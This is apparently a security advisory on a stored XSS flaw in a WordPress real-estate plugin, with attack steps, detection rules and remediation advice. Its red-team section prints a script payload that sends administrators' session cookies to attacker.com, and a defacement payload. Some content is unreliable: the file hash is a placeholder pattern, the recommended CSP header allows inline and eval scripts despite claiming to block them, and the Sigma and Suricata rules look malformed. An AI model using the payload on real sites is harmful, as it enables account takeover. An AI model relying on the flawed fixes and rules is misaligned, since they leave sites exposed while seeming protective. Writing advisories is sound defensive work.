CVE-2024-51786

Executive Summary

CVE-2024-51786 is a Stored Cross-Site Scripting (XSS) vulnerability in the Realty by BestWebSoft WordPress plugin, affecting versions up to and including 1.1.5. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into property listings, which is then executed in the browsers of any user viewing the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation.

Given the WordPress ecosystem, this plugin is commonly used on real estate websites, making it a prime target for defacement, credential theft, or redirection to malicious domains. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch and the public disclosure of the CVE increase risk over time.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. The vendor, BestWebSoft, has not released a patch. Users are advised to remove or replace the plugin. No known supply chain compromise has been reported, but the unpatched state means any site using this plugin is vulnerable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must view the malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Overall Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to full account takeover if admin cookies are stolen.

Deep Dive & Mechanics

The vulnerability exists in the realty plugin's property submission and editing functionality. When a user with contributor-level privileges or higher creates or edits a property listing, the plugin fails to sanitize or escape input fields such as the property title, description, or custom fields. This allows an attacker to inject HTML and JavaScript code.

Attack Flow:

1. Attacker logs in with a contributor account.
2. Attacker creates a new property listing or edits an existing one.
3. In a text field (e.g., property description), the attacker inserts a payload like <script>alert('XSS')</script>.
4. The plugin stores the payload in the WordPress database without sanitization.
5. When any user (including administrators) views the property listing page, the injected script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses_post() to user input. The lack of output encoding allows stored XSS.

Vulnerable vs. Patched Code

Vulnerable Code (realty.php, line ~245):

<?php
// Vulnerable: Direct output without sanitization
echo '<div class="property-description">' . $property_description . '</div>';
?>

Patched Code (Hypothetical fix):

<?php
// Patched: Use esc_html() to neutralize HTML/JS
echo '<div class="property-description">' . esc_html( $property_description ) . '</div>';
?>

The vulnerable code directly outputs the $property_description variable, which comes from user input. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Realty by BestWebSoft <= 1.1.5 installed.
• Contributor-level account credentials.

Step-by-Step Exploitation:

1. Log in to WordPress as a contributor.
2. Navigate to Properties > Add New.
3. In the "Description" field, enter the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Publish the property.
5. When an administrator views the property, their session cookie is sent to the attacker's server.

Alternative Payload (Defacement):

<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>';</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual property submissions from low-privileged users.
2. Check for script tags in property descriptions using database queries:

   SELECT * FROM wp_posts WHERE post_type = 'realty' AND post_content LIKE '%<script%';
   

3. Review WordPress user roles and remove unnecessary contributor accounts.

Mitigation:

• Disable or remove the Realty plugin immediately.
• Use a Web Application Firewall (WAF) with XSS rules.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • realty.php (v1.1.5): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing document.cookie in the body.
• Database Indicators:
  • Rows in wp_posts with post_content containing <script> tags.
• Log Indicators:
  • WordPress debug log entries showing wp_kses failures.

Detection Engineering

YARA Rule

rule CVE_2024_51786_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Realty by BestWebSoft plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51786"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $plugin_path = /wp-content\/plugins\/realty\//
    condition:
        $plugin_path and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS in Realty by BestWebSoft Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via property description fields
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_type=realty'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in property descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51786 Stored XSS Payload in Realty Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=realty"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete Realty by BestWebSoft from the WordPress admin panel.
2. Scan for compromise: Use a security plugin (e.g., Wordfence) to scan for injected scripts.
3. Change all passwords: Force password reset for all users, especially administrators.

Long-Term Mitigation:

• Replace the plugin with a maintained alternative (e.g., "Easy Property Listings").
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers:

  Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

• Regularly audit WordPress plugins and remove unused ones.

Patch Status: No official patch available. Users must remove the plugin.

Valters IT
Securing Digital Frontiers